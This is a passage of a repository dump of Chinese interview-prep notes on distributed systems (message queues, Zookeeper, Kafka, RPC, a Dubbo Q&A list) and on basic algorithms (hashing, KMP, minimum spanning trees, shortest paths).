**过载保护**：在访问量剧增的情况下，应用仍然需要继续发挥作用，但是这样的突发流量无法提取预知；如果以为了能处理这类瞬间峰值访问为标准来投入资源随时待命无疑是巨大的浪费。使用消息队列能够使关键组件顶住突发的访问压力，而不会因为突发的超负荷的请求而完全崩溃\n\n  6. **可恢复性**：系统的一部分组件失效时，不会影响到整个系统。消息队列降低了进程间的耦合度，所以即使一个处理消息的进程挂掉，加入队列中的消息仍然可以在系统恢复后被处理。 \n\n  7. **顺序保证**：在大多使用场景下，数据处理的顺序都很重要。大部分消息队列本来就是排序的，并且能保证数据会按照特定的顺序来处理。 \n\n  8. **缓冲**：在任何重要的系统中，都会有需要不同的处理时间的元素。消息队列通过一个缓冲层来帮助任务最高效率的执行，该缓冲有助于控制和优化数据流经过系统的速度。以调节系统响应时间。\n\n  9. **数据流处理**：分布式系统产生的海量数据流，如：业务日志、监控数据、用户行为等，针对这些数据流进行实时或批量采集汇总，然后进行大数据分析是当前互联网的必备技术，通过消息队列完成此类数据收集是最好的选择\n\n## MQ常用协议\n  - **AMQP协议** AMQP即Advanced Message Queuing Protocol,一个提供统一消息服务的应用层标准高级消息队列协议,是应用层协议的一个开放标准,为面向消息的中间件设计。基于此协议的客户端与消息中间件可传递消息，并不受客户端/中间件不同产品，不同开发语言等条件的限制。\n    > 优点：可靠、通用\n\n  - **MQTT协议** MQTT（Message Queuing Telemetry Transport，消息队列遥测传输）是IBM开发的一个即时通讯协议，有可能成为物联网的重要组成部分。该协议支持所有平台，几乎可以把所有联网物品和外部连接起来，被用来当做传感器和致动器（比如通过Twitter让房屋联网）的通信协议。 \n    > 优点：格式简洁、占用带宽小、移动端通信、PUSH、嵌入式系统\n\n  - **STOMP协议** STOMP（Streaming Text Orientated Message Protocol）是流文本定向消息协议，是一种为MOM(Message Oriented Middleware，面向消息的中间件)设计的简单文本协议。STOMP提供一个可互操作的连接格式，允许客户端与任意STOMP消息代理（Broker）进行交互。 \n    > 优点：命令模式（非topic/queue模式）\n\n  - **XMPP协议** XMPP（可扩展消息处理现场协议，Extensible Messaging and Presence Protocol）是基于可扩展标记语言（XML）的协议，多用于即时消息（IM）以及在线现场探测。适用于服务器之间的准即时操作。核心是基于XML流传输，这个协议可能最终允许因特网用户向因特网上的其他任何人发送即时消息，即使其操作系统和浏览器不同。\n    > 优点：通用公开、兼容性强、可扩展、安全性高，但XML编码格式占用带宽大\n\n  - **其他基于TCP/IP自定义的协议**：有些特殊框架（如：redis、kafka、zeroMq等）根据自身需要未严格遵循MQ规范，而是基于TCP\\IP自行封装了一套协议，通过网络socket接口进行传输，实现了MQ的功能。\n\n## MQ的通讯模式\n\n   1. **点对点通讯**：点对点方式是最为传统和常见的通讯方式，它支持一对一、一对多、多对多、多对一等多种配置方式，支持树状、网状等多种拓扑结构。\n\n   2. **多点广播**：MQ适用于不同类型的应用。其中重要的，也是正在发展中的是\"多点广播\"应用，即能够将消息发送到多个目标站点(Destination List)。可以使用一条MQ指令将单一消息发送到多个目标站点，并确保为每一站点可靠地提供信息。MQ不仅提供了多点广播的功能，而且还拥有智能消息分发功能，在将一条消息发送到同一系统上的多个用户时，MQ将消息的一个复制版本和该系统上接收者的名单发送到目标MQ系统。目标MQ系统在本地复制这些消息，并将它们发送到名单上的队列，从而尽可能减少网络的传输量。\n\n   3. **发布/订阅(Publish/Subscribe)模式**：发布/订阅功能使消息的分发可以突破目的队列地理指向的限制，使消息按照特定的主题甚至内容进行分发，用户或应用程序可以根据主题或内容接收到所需要的消息。发布/订阅功能使得发送者和接收者之间的耦合关系变得更为松散，发送者不必关心接收者的目的地址，而接收者也不必关心消息的发送地址，而只是根据消息的主题进行消息的收发。在MQ家族产品中，MQ Event Broker是专门用于使用发布/订阅技术进行数据通讯的产品，它支持基于队列和直接基于TCP/IP两种方式的发布和订阅。\n\n   4. **集群(Cluster)**：为了简化点对点通讯模式中的系统配置，MQ提供 Cluster 的解决方案。集群类似于一个 域(Domain) ，集群内部的队列管理器之间通讯时，不需要两两之间建立消息通道，而是采用 Cluster 通道与其它成员通讯，从而大大简化了系统配置。此外，集群中的队列管理器之间能够自动进行负载均衡，当某一队列管理器出现故障时，其它队列管理器可以接管它的工作，从而大大提高系统的高可靠性\n\n## 消息投递保证\n\n  - `At most once`：消息可能会丢，但绝不会重复投递\n  - `At least one`：消息绝不会丢，但可能会重复投递\n  - `Exactly once`：每条消息肯定会被投递一次且仅投递一次，很多时候这是用户所想要的。\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/6-zk.md",
    "content": "# [Zookeeper](https://draveness.me/zookeeper-chubby)\n\n## 应用场景\n\n### 发布订阅\n\n通过 Zookeeper 进行数据的发布与订阅其实可以说是它提供的最基本功能，它能够允许多个客户端同时订阅某一个节点的变更并在变更发生时执行我们预先设置好的回调函数，在运行时改变服务的配置和行为\n\n### 命名服务\n\n除了实现服务配置数据的发布与订阅功能，Zookeeper 还能帮助分布式系统实现命名服务，在每一个分布式系统中，客户端应用都有根据指定名字获取资源、服务器地址的需求，在这时就要求整个集群中的全部服务有着唯一的名字。\n\n在大型分布式系统中，有两件事情非常常见，一是不同服务之间的可能拥有相同的名字，另一个是同一个服务可能会在集群中部署很多的节点，Zookeeper 就可以通过文件系统和顺序节点解决这两个问题。\n\n![image](images/72025ab7142520ce9e59193eb956b900.png)\n\n### 协调分布式事务\n\nZookeeper 的另一个作用就是担任分布式事务中的协调者角色，在之前介绍 分布式事务 的文章中我们曾经介绍过分布式事务本质上都是通过 2PC 来实现的，在两阶段提交中就需要一个协调者负责协调分布式事务的执行。\n\n所有的事务参与者会向当前节点中写入提交或者终止，一旦当前的节点改变了事务的状态，其他节点就会得到通知，如果出现一个写入终止的节点，所有的节点就会回滚对分布式事务进行回滚。\n\n### 分布式锁\n\n在数据库中，锁的概念其实是非常重要的，常见的关系型数据库就会对排他锁和共享锁进行支持，而 `Zookeeper` 提供的 API 也可以让我们非常简单的实现分布式锁。\n\n作为分布式协调服务，Zookeeper 的应用场景非常广泛，不仅能够用于服务配置的下发、命名服务、协调分布式事务以及分布式锁，还能够用来实现微服务治理中的服务注册以及发现等功能，这些其实都源于 Zookeeper 能够提供高可用的分布式协调服务，能够为客户端提供分布式一致性的支持。\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/7-kafka.md",
    "content": "# Kafka\n\n## 术语\n\n  - **Broker**：Kafka 集群包含一个或多个服务器，这种服务器被称为 `broker` 。\n  - **Topic**：每条发布到 Kafka 集群的消息都有一个类别，这个类别被称为 Topic。（物理上不同 Topic 的消息分开存储，逻辑上一个 Topic 的消息虽然保存于一个或多个 broker 上，但用户只需指定消息的 Topic 即可生产或消费数据而不必关心数据存于何处）。\n  - **Partition**： `Partition` 是物理上的概念，每个 `Topic` 包含一个或多个 `Partition` 。\n  - **Producer**：负责发布消息到 Kafka broker。\n  - **Consumer**：消息消费者，向 Kafka broker 读取消息的客户端。\n  - **Consumer Group**：每个 `Consumer` 属于一个特定的 `Consumer Group`（可为每个 Consumer 指定 group name，若不指定 group name 则属于默认的 group）。\n\n## 拓扑结构\n\n![image](images/9a9bab37c896c086e2fee7b3e15a9ae3.png)\n\n如上图所示，一个典型的 `Kafka` 集群中包含若干 `Producer` （可以是web前端产生的Page View，或者是服务器日志，系统CPU、Memory等），若干 `broker` （Kafka支持水平扩展，一般broker数量越多，集群吞吐率越高），若干 `Consumer Group` ，以及一个 `Zookeeper` 集群。 `Kafka` 通过 `Zookeeper` 管理集群配置，选举 `leader` ，以及在 `Consumer Group` 发生变化时进行 rebalance。 `Producer` 使用 push 模式将消息发布到broker，Consumer使用pull模式从broker订阅并消费消息。\n\n## Topic & Partition\n\n**Topic 在逻辑上可以被认为是一个 queue** ，每条消费都必须指定它的 `Topic` ，可以简单理解为必须指明把这条消息放进哪个 `queue` 里。为了使得 Kafka 的吞吐率可以线性提高，**物理上把 `Topic` 分成一个或多个 `Partition`** ，每个 `Partition` 在物理上对应一个文件夹，该文件夹下存储这个 `Partition` 的所有消息和索引文件。若创建 `topic1` 和 `topic2` 两个 `topic` ，且分别有 13 个和 19 个分区，则整个集群上会相应会生成共 32 个文件夹（本文所用集群共8个节点，此处 `topic1` 和 `topic2` `replication-factor` 均为1）。\n\n> Partition 都是通过 顺序读写，所以效率很高\n\n> replication-factor 配置 partition 副本数。配置副本之后,每个 partition 都有一个唯一的 leader ，有 0 个或多个 follower 。所有的读写操作都在 leader 上完成，followers 从 leader 消费消息来复制 message，就跟普通的 consumer 消费消息一样。一般情况下 partition 的数量大于等于 broker 的数量，并且所有 partition 的 leader 均匀分布在 broker 上。\n\n对于传统的 MQ 而言，一般会删除已经被消费的消息，而 Kafka 集群会保留所有的消息，无论其被消费与否。当然，因为磁盘限制，不可能永久保留所有数据（实际上也没必要），因此 Kafka 提供两种策略删除旧数据。一是基于时间，二是基于 Partition 文件大小。\n\n## Producer 消息路由\n\nProducer 发送消息到 broker 时，会根据 Paritition 机制选择将其存储到哪一个 Partition 。如果 Partition 机制设置合理，所有消息可以均匀分布到不同的 Partition 里，这样就实现了负载均衡。如果一个 Topic 对应一个文件，那这个文件所在的机器I/O将会成为这个 Topic 的性能瓶颈，而有了 Partition 后，不同的消息可以并行写入不同 broker 的不同 Partition 里，极大的提高了吞吐率。\n\n可以在 `$KAFKA_HOME/config/server.properties` 中通过配置项 `num.partitions` 来指定新建 `Topic` 的默认 `Partition` 数量，也可在创建 `Topic` 时通过参数指定，同时也可以在 Topic 创建之后通过 Kafka 提供的工具修改。\n\n在发送一条消息时，可以指定这条消息的 `key` ，Producer 根据这个 `key` 和 Partition 机制来判断应该将这条消息发送到哪个 Parition 。Paritition机制可以通过指定 Producer 的 `paritition.class` 这一参数来指定，该 class 必须实现 `kafka.producer.Partitioner` 接口。\n\n## Consumer Group\n\n![image](images/e54deac5512215cfc6801890bb83d792.png)\n\n这是 Kafka 用来实现一个 Topic 消息的广播（发给所有的 Consumer ）和单播（发给某一个 Consumer ）的手段。一个 Topic 可以对应多个 Consumer Group 。如果需要实现广播，只要每个 Consumer 有一个独立的 Group 就可以了。要实现单播只要所有的 Consumer 在同一个 Group 里。用 Consumer Group 还可以将 Consumer 进行自由的分组而不需要多次发送消息到不同的 Topic 。\n\n## Consumer 个数与 Parition 数有什么关系？\n\n**topic 下的一个分区只能被同一个 consumer group 下的一个 consumer 线程来消费**，但反之并不成立，即一个 consumer 线程可以消费多个分区的数据。比如 Kafka 提供的 `ConsoleConsumer` ，默认就只是一个线程来消费所有分区的数据。\n\n> 即分区数决定了同组消费者个数的上限\n\n![image](images/5290a719713da5ce4e83422ded5bdf0c.png)\n\n所以，如果你的分区数是 N ，那么最好线程数也保持为 N ，这样通常能够达到最大的吞吐量。超过 N 的配置只是浪费系统资源，因为多出的线程不会被分配到任何分区。\n\n## Push vs. Pull　　\n\n作为一个消息系统，Kafka 遵循了传统的方式，选择由 Producer 向 broker `push` 消息并由 Consumer 从 broker `pull` 消息。事实上，push 模式和 pull 模式各有优劣。\n\n  - Push模式 很难适应消费速率不同的消费者，因为消息发送速率是由broker决定的。push模式的目标是尽可能以最快速度传递消息，但是这样很容易造成 Consumer 来不及处理消息，典型的表现就是拒绝服务以及网络拥塞。\n  - Pull模式 可以根据Consumer的消费能力以适当的速率消费消息。\n\n对于 Kafka 而言，Pull模式 更合适。Pull模式 可简化 broker 的设计，Consumer 可自主控制消费消息的速率，同时 Consumer 可以自己控制消费方式——即可批量消费也可逐条消费，同时还能选择不同的提交方式从而实现不同的传输语义。\n\n## 参考\n\n[Kafka设计解析](http://www.jasongj.com/2015/03/10/KafkaColumn1/)\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/8-rpc.md",
    "content": "# RPC\n\n远程过程调用（英语：Remote Procedure Call，缩写为 RPC）是一个计算机通信协议。该协议允许运行于一台计算机的程序调用另一台计算机的子程序，而程序员无需额外地为这个交互作用编程。\n\n## 应用发展流程\n\n### 单一应用架构\n\n当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。此时，用于简化增删改查工作量的数据访问框架(ORM)是关键。\n\n### 垂直应用架构\n\n当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，将应用拆成互不相干的几个应用，以提升效率。此时，用于加速前端页面开发的Web框架(MVC)是关键。\n\n### 分布式服务架构\n\n当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。此时，用于提高业务复用及整合的分布式服务框架(RPC)是关键。\n\n### 流动计算架构\n\n当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。此时，用于提高机器利用率的资源调度和治理中心(SOA)是关键。\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/9-dubbo.md",
    "content": "# [Dubbo](https://zhuanlan.zhihu.com/p/45846108)\n\n## 领域模型\n在 Dubbo 的核心领域模型中：\n\n  - Protocol 是服务域，它是 Invoker 暴露和引用的主功能入口，它负责 Invoker 的生命周期管理。\n  - Invoker 是实体域，它是 Dubbo 的核心模型，其它模型都向它靠扰，或转换成它，它代表一个可执行体，可向它发起 invoke 调用，它有可能是一个本地的实现，也可能是一个远程的实现，也可能一个集群实现。\n  - Invocation 是会话域，它持有调用过程中的变量，比如方法名，参数等。\n\n## 基本设计原则\n\n  - 采用 `Microkernel + Plugin` 模式，Microkernel 只负责组装 Plugin，Dubbo 自身的功能也是通过扩展点实现的，也就是 Dubbo 的所有功能点都可被用户自定义扩展所替换。\n  - 采用 URL 作为配置信息的统一格式，所有扩展点都通过传递 URL 携带配置信息。\n\n## Dubbo 服务暴露过程\n\n[官方文档--服务导出](https://dubbo.incubator.apache.org/zh-cn/docs/source_code_guide/export-service.html)\n\n![image](images/fce799af888ea1e2b757476b03d4ded7.png)\n\n## 面试题目\n\n### 1、Dubbo是什么？\n\nDubbo是阿里巴巴开源的基于 Java 的高性能 RPC 分布式服务框架，现已成为 Apache 基金会孵化项目。\n\n面试官问你如果这个都不清楚，那下面的就没必要问了。\n\n> 官网：[http://dubbo.apache.org][1]  \n\n### 2、为什么要用Dubbo？\n\n因为是阿里开源项目，国内很多互联网公司都在用，已经经过很多线上考验。内部使用了 Netty、Zookeeper，保证了高性能高可用性。\n\n使用 Dubbo 可以将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，可用于提高业务复用灵活扩展，使前端应用能更快速的响应多变的市场需求。\n\n下面这张图可以很清楚的诠释，最重要的一点是，分布式架构可以承受更大规模的并发流量。\n\n![image](images/6ffde2284d44581ea768f3e5e207aecf.png)\n\n下面是 Dubbo 的服务治理图。\n\n![image](images/748f1ed8da284532321731ee369dd90f.png)\n\n### 3、Dubbo 和 Spring Cloud 有什么区别？\n\n两个没关联，如果硬要说区别，有以下几点。\n\n1）通信方式不同\n\nDubbo 使用的是 RPC 通信，而 Spring Cloud 使用的是 HTTP RESTFul 方式。\n\n2）组成部分不同\n\n组件 | Dubbo | Spring Cloud ---|---|--- 服务注册中心 | Zookeeper | Spring Cloud Netflix Eureka 服务监控 | Dubbo-monitor | Spring Boot Admin 断路器 | 不完善 | Spring Cloud Netflix Hystrix 服务网关 | 无 | Spring Cloud Netflix Gateway 分布式配置 | 无 | Spring Cloud Config 服务跟踪 | 无 | Spring Cloud Sleuth 消息总线 | 无 | Spring Cloud Bus 数据流 | 无 | Spring Cloud Stream 批量任务 | 无 | Spring Cloud Task ... | ... | ...\n\n### 4、dubbo都支持什么协议，推荐用哪种？\n\n* dubbo://（推荐）\n* rmi://\n* hessian://\n* http://\n* webservice://\n* thrift://\n* memcached://\n* redis://\n* rest://\n\n### 5、Dubbo需要 Web 容器吗？\n\n不需要，如果硬要用 Web 容器，只会增加复杂性，也浪费资源。\n\n### 6、Dubbo内置了哪几种服务容器？\n\n* Spring Container\n* Jetty Container\n* Log4j Container\n\nDubbo 的服务容器只是一个简单的 Main 方法，并加载一个简单的 Spring 容器，用于暴露服务。\n\n### 7、Dubbo里面有哪几种节点角色？\n\n节点 | 角色说明 ---|--- Provider | 暴露服务的服务提供方 Consumer | 调用远程服务的服务消费方 Registry | 服务注册与发现的注册中心 Monitor | 统计服务的调用次数和调用时间的监控中心 Container | 服务运行容器\n\n### 8、画一画服务注册与发现的流程图\n\n![image](images/4140792fcdb08ad3b9128e75e73f0fa0.png)\n\n该图来自 Dubbo 官网，供你参考，如果你说你熟悉 Dubbo, 面试官经常会让你画这个图，记好了。\n\n### 9、Dubbo默认使用什么注册中心，还有别的选择吗？\n\n推荐使用 Zookeeper 作为注册中心，还有 Redis、Multicast、Simple 注册中心，但不推荐。\n\n### 10、Dubbo有哪几种配置方式？\n\n1）Spring 配置方式 2）Java API 配置方式\n\n### 11、Dubbo 核心的配置有哪些？\n\n我曾经面试就遇到过面试官让你写这些配置，我也是蒙逼。。\n\n配置 | 配置说明 ---|--- dubbo:service | 服务配置 dubbo:reference | 引用配置 dubbo:protocol | 协议配置 dubbo:application | 应用配置 dubbo:module | 模块配置 dubbo:registry | 注册中心配置 dubbo:monitor | 监控中心配置 dubbo:provider | 提供方配置 dubbo:consumer | 消费方配置 dubbo:method | 方法配置 dubbo:argument | 参数配置\n\n配置之间的关系见下图。\n\n![image](images/bdef7d0527f38eaba6cef109c1252b72.png)\n\n配置之间的覆盖关系：\n\n![image](images/926e7eb7506fba44118316cdf28ade6c.png)\n\n### 12、在 Provider 上可以配置的 Consumer 端的属性有哪些？\n\n1）timeout：方法调用超时 2）retries：失败重试次数，默认重试 2 次 3）loadbalance：负载均衡算法，默认随机 4）actives 消费者端，最大并发调用限制\n\n### 13、Dubbo启动时如果依赖的服务不可用会怎样？\n\nDubbo 缺省会在启动时检查依赖的服务是否可用，不可用时会抛出异常，阻止 Spring 初始化完成，默认 check=\"true\"，可以通过 check=\"false\" 关闭检查。\n\n### 14、Dubbo推荐使用什么序列化框架，你知道的还有哪些？\n\n推荐使用Hessian序列化，还有Duddo、FastJson、Java自带序列化。\n\n### 15、Dubbo默认使用的是什么通信框架，还有别的选择吗？\n\nDubbo 默认使用 Netty 框架，也是推荐的选择，另外内容还集成有Mina、Grizzly。\n\n### 16、Dubbo有哪几种集群容错方案，默认是哪种？\n\n集群容错方案 | 说明 ---|--- Failover Cluster | 失败自动切换，自动重试其它服务器（默认） Failfast Cluster | 快速失败，立即报错，只发起一次调用 Failsafe Cluster | 失败安全，出现异常时，直接忽略 Failback Cluster | 失败自动恢复，记录失败请求，定时重发 Forking Cluster | 并行调用多个服务器，只要一个成功即返回 Broadcast Cluster | 广播逐个调用所有提供者，任意一个报错则报错\n\n### 17、Dubbo有哪几种负载均衡策略，默认是哪种？\n\n负载均衡策略 | 说明 ---|--- Random LoadBalance | 随机，按权重设置随机概率（默认） RoundRobin LoadBalance | 轮询，按公约后的权重设置轮询比率 LeastActive LoadBalance | 最少活跃调用数，相同活跃数的随机 ConsistentHash LoadBalance | 一致性 Hash，相同参数的请求总是发到同一提供者\n\n### 18、注册了多个同一样的服务，如果测试指定的某一个服务呢？\n\n可以配置环境点对点直连，绕过注册中心，将以服务接口为单位，忽略注册中心的提供者列表。\n\n### 19、Dubbo支持服务多协议吗？\n\nDubbo 允许配置多协议，在不同服务上支持不同协议或者同一服务上同时支持多种协议。\n\n### 20、当一个服务接口有多种实现时怎么做？\n\n当一个接口有多种实现时，可以用 group 属性来分组，服务提供方和消费方都指定同一个 group 即可。\n\n### 21、服务上线怎么兼容旧版本？\n\n可以用版本号（version）过渡，多个不同版本的服务注册到注册中心，版本号不同的服务相互间不引用。这个和服务分组的概念有一点类似。\n\n### 22、Dubbo可以对结果进行缓存吗？\n\n可以，Dubbo 提供了声明式缓存，用于加速热门数据的访问速度，以减少用户加缓存的工作量。\n\n### 23、Dubbo服务之间的调用是阻塞的吗？\n\n默认是同步等待结果阻塞的，支持异步调用。\n\nDubbo 是基于 NIO 的非阻塞实现并行调用，客户端不需要启动多线程即可完成并行调用多个远程服务，相对多线程开销较小，异步调用会返回一个 Future 对象。\n\n异步调用流程图如下。\n\n![image](images/94e5727c24d42f77989bba6eb3aaa6fe.png)\n\n### 24、Dubbo支持分布式事务吗？\n\n目前暂时不支持，后续可能采用基于 JTA/XA 规范实现，如以图所示。\n\n![image](images/1135ded14e8e9cca93e8dd8e099e8922.png)\n\n### 25、Dubbo telnet 命令能做什么？\n\ndubbo 通过 telnet 命令来进行服务治理，具体使用看这篇文章《[dubbo服务调试管理实用命令][14]》。\n\n> telnet localhost 8090  \n\n### 26、Dubbo支持服务降级吗？\n\nDubbo 2.2.0 以上版本支持。\n\n### 27、Dubbo如何优雅停机？\n\nDubbo 是通过 JDK 的 ShutdownHook 来完成优雅停机的，所以如果使用 kill -9 PID 等强制关闭指令，是不会执行优雅停机的，只有通过 kill PID 时，才会执行。\n\n### 28、服务提供者能实现失效踢出是什么原理？\n\n服务失效踢出基于 Zookeeper 的临时节点原理。\n\n### 29、如何解决服务调用链过长的问题？\n\nDubbo 可以使用 Pinpoint 和 Apache Skywalking(Incubator) 实现分布式服务追踪，当然还有其他很多方案。\n\n### 30、服务读写推荐的容错策略是怎样的？\n\n读操作建议使用 Failover 失败自动切换，默认重试两次其他服务器。\n\n写操作建议使用 Failfast 快速失败，发一次调用失败就立即报错。\n\n### 31、Dubbo必须依赖的包有哪些？\n\nDubbo 必须依赖 JDK，其他为可选。\n\n### 32、Dubbo的管理控制台能做什么？\n\n管理控制台主要包含：路由规则，动态配置，服务降级，访问控制，权重调整，负载均衡，等管理功能。\n\n### 33、说说 Dubbo 服务暴露的过程。\n\nDubbo 会在 Spring 实例化完 bean 之后，在刷新容器最后一步发布 ContextRefreshEvent 事件的时候，通知实现了 ApplicationListener 的 ServiceBean 类进行回调 onApplicationEvent 事件方法，Dubbo 会在这个方法中调用 ServiceBean 父类 ServiceConfig 的 export 方法，而该方法真正实现了服务的（异步或者非异步）发布。\n\n### 34、Dubbo 停止维护了吗？\n\n2014 年开始停止维护过几年，17 年开始重新维护，并进入了 Apache 项目。\n\n### 35、Dubbo 和 Dubbox 有什么区别？\n\nDubbox 是继 Dubbo 停止维护后，当当网基于 Dubbo 做的一个扩展项目，如加了服务可 Restful 调用，更新了开源组件等。\n\n### 36、你还了解别的分布式框架吗？\n\n别的还有 Spring cloud、Facebook 的 Thrift、Twitter 的 Finagle 等。\n\n### 37、Dubbo 能集成 Spring Boot 吗？\n\n可以的，项目地址如下。\n\n> [https://github.com/apache/incubator-dubbo-spring-boot-project][15]  \n\n### 38、在使用过程中都遇到了些什么问题？\n\nDubbo 的设计目的是为了满足高并发小数据量的 rpc 调用，在大数据量下的性能表现并不好，建议使用 rmi 或 http 协议。\n\n### 39、你读过 Dubbo 的源码吗？\n\n要了解 Dubbo 就必须看其源码，了解其原理，花点时间看下吧，网上也有很多教程，后续有时间我也会在公众号上分享 Dubbo 的源码。\n\n### 40、你觉得用 Dubbo 好还是 Spring Cloud 好？\n\n扩展性的问题，没有好坏，只有适合不适合，不过我好像更倾向于使用 Dubbo, Spring Cloud 版本升级太快，组件更新替换太频繁，配置太繁琐，还有很多我觉得是没有 Dubbo 顺手的地方……\n"
  },
  {
    "path": "docs/android/interview/architecture/distributed/README.md",
    "content": "# 分布式"
  },
  {
    "path": "docs/android/interview/basic/README.md",
    "content": "# 计算机基础\n"
  },
  {
    "path": "docs/android/interview/basic/algo/README.md",
    "content": "# 数据结构与算法\n\n"
  },
  {
    "path": "docs/android/interview/basic/algo/algo.md",
    "content": "# 常用算法\n"
  },
  {
    "path": "docs/android/interview/basic/algo/hash.md",
    "content": "# Hash\n\n哈希表（Hash Table，也叫散列表），是根据关键码值 (Key-Value) 而直接进行访问的数据结构。也就是说，**它通过把关键码值映射到表中一个位置来访问记录，以加快查找的速度**。哈希表的实现主要需要解决两个问题，哈希函数和冲突解决。\n\n\n### 哈希函数\n\n哈希函数也叫散列函数，它对不同的输出值得到一个固定长度的消息摘要。理想的哈希函数对于不同的输入应该产生不同的结构，**同时散列结果应当具有同一性（输出值尽量均匀）和雪崩效应（微小的输入值变化使得输出值发生巨大的变化）**。\n\n### 冲突解决\n\n  - `开放地址法`：**以发生冲突的哈希地址为输入，通过某种哈希冲突函数得到一个新的空闲的哈希地址的方法**。有以下几种方式：\n    - `线性探查法`：从发生冲突的地址开始，依次探查下一个地址，直到找到一个空闲单元。\n    - `平方探查法`：设冲突地址为d0，则探查序列为：d0+1^2,d0-1^2,d0+2^2...\n  - `拉链法`：把所有的同义词用单链表链接起来。在这种方法下，哈希表每个单元中存放的不再是元素本身，而是相应同义词单链表的头指针。`HashMap`就是使用这种方法解决冲突的。\n\n  ![](images/hashmap-structure.png)\n"
  },
  {
    "path": "docs/android/interview/basic/algo/kmp.md",
    "content": "# [KMP算法](https://zh.wikipedia.org/wiki/%E5%85%8B%E5%8A%AA%E6%96%AF-%E8%8E%AB%E9%87%8C%E6%96%AF-%E6%99%AE%E6%8B%89%E7%89%B9%E7%AE%97%E6%B3%95)\n\nKMP算法解决的问题是字符匹配，这个算法把字符匹配的时间复杂度缩小到`O(m+n)`,而空间复杂度也只有O(m),n是target的长度，m是pattern的长度。\n\n- 部分匹配表（Next数组）：表的作用是 **让算法无需多次匹配S中的任何字符**。能够实现线性时间搜索的关键是 **在不错过任何潜在匹配的情况下，我们\"预搜索\"这个模式串本身并将其译成一个包含所有可能失配的位置对应可以绕过最多无效字符的列表**。\n\n- Next数组（前缀和前缀的比较）：t为模式串，j为下标\n  - `Next[0] = -1`\n  - `Next[j] = MAX{ k | 0 < k < j | \" t0 t1 ... tk \" = \"t ( j-k ) t ( j-k+1 ) ... t( j-1 )\" }`\n\n|i|\t0|\t1|\t2|\t3|\t4|\t5\t|6|\n|--|\n| t[i]|\tA|\tB|\tC|\tD|\tA|\tB|\tD|\n|next[i]|\t-1|\t0\t|0\t|0\t|0\t|1\t|2|\n\n- NextVal数组：是一种优化后的Next数组，是为了解决类似`aaaab`这种模式串的匹配，减少重复的比较。\n  如果`t[next[j]]=t[j]`：`nextval[j]=nextval[next[j]]`，否则`nextval[j]=next[j]`。\n\n|i|\t0|\t1|\t2|\t3|\t4|\t5\t|6|\n|--|\n| t |\ta|\tb| c|\ta| b| a |a|\n|next[j]     |\t-1|\t0\t|0\t|0\t|1\t|2\t|1|\n|nextval[j] |\t-1|\t0\t|0\t|-1\t|0\t|2\t|1|\n\n在上面的表格中，`t[next[4]]=t[4]=b`，所以`nextval[4]=nextval[next[4]]=0`\n"
  },
  {
    "path": "docs/android/interview/basic/algo/mst.md",
    "content": "# 最小生成树算法\n\n- `连通图`：在无向图G中，若从顶点i到顶点j有路径，则称顶点i和顶点j是连通的。若图G中任意两个顶点都连通，则称G为连通图。\n\n- `生成树`：一个连通图的生成树是该连通图的一个极小连通子图，它含有全部顶点，但只有构成一个数的`(n-1)`条边。\n\n- `最小生成树`：对于一个带权连通无向图G中的不同生成树，各树的边上的 **权值之和最小**。构造最小生成树的准则有三条：\n    - 必须只使用该图中的边来构造最小生成树。\n    - 必须使用且仅使用`(n-1)`条边来连接图中的n个顶点。\n    - 不能使用产生回路的边。\n\n### Prim算法\n\n假设G=(V,E)是一个具有n个顶点的带权连通无向图，T(U,TE)是G的最小生成树，其中U是T的顶点集，TE是T的边集，则由G构造从起始顶点v出发的最小生成树T的步骤为：\n\n  - 初始化U={v}，以v到其他顶点的所有边为候选边(U中所有点到其他顶点的边)。\n\n  - 重复以下步骤(n-1)次，使得其他(n-1)个顶点被加入到U中。\n\n    - 从候选边中挑选权值最小的边加入TE，设该边在`V-U`(这里是集合减)中的顶点是k，将k加入U中。\n    \n    - 考察当前V-U中的所有顶点j，修改候选边，若边(k,j)的权值小于原来和顶点j关联的候选边，则用(k,j)取代后者作为候选边。\n\n![](images/prim.jpg)\n\n### Kruskal算法\n\n假设G=(V,E)是一个具有n个顶点的带权连通无向图，T(U,TE)是G的最小生成树，其中U是T的顶点集，TE是T的边集，则由G构造从起始顶点v出发的最小生成树T的步骤为：\n\n  - 置U的初始值等于V(即包含G中的全部顶点)，TE的初始值为空\n\n  - 将图G中的边按权值从小到大的顺序依次选取，若选取的边未使生成树T形成回路，则加入TE，否则放弃，知道TE中包含(n-1)条边为止。\n"
  },
  {
    "path": "docs/android/interview/basic/algo/path.md",
    "content": "# 最短路径算法\n\n## Dijkstra——贪心算法\n\n> 从一个顶点到其余顶点的最短路径\n\n设`G=(V,E)`是一个带权有向图，把图中顶点集合V分成两组，第1组为已求出最短路径的顶点（用S表示，初始时S只有一个源点，以后每求得一条最短路径`v,...k`，就将k加到集合S中，直到全部顶点都加入S）。第2组为其余未确定最短路径的顶点集合（用U表示），按最短路径长度的递增次序把第2组的顶点加入S中。\n\n```\n步骤：\n\n1. 初始时，S只包含源点，即`S={v}`，顶点v到自己的距离为0。U包含除v外的其他顶点，v到U中顶点i的距离为边上的权。\n2. 从U中选取一个顶点u，顶点v到u的距离最小，然后把顶点u加入S中。\n3. 以顶点u为新考虑的中间点，修改v到U中各个点的距离。\n4. 重复以上步骤知道S包含所有顶点。\n```\n\n## Floyd——动态规划\n\n> 每对顶点之间的最短路径\n"
  },
  {
    "path": "docs/android/interview/basic/algo/questions.md",
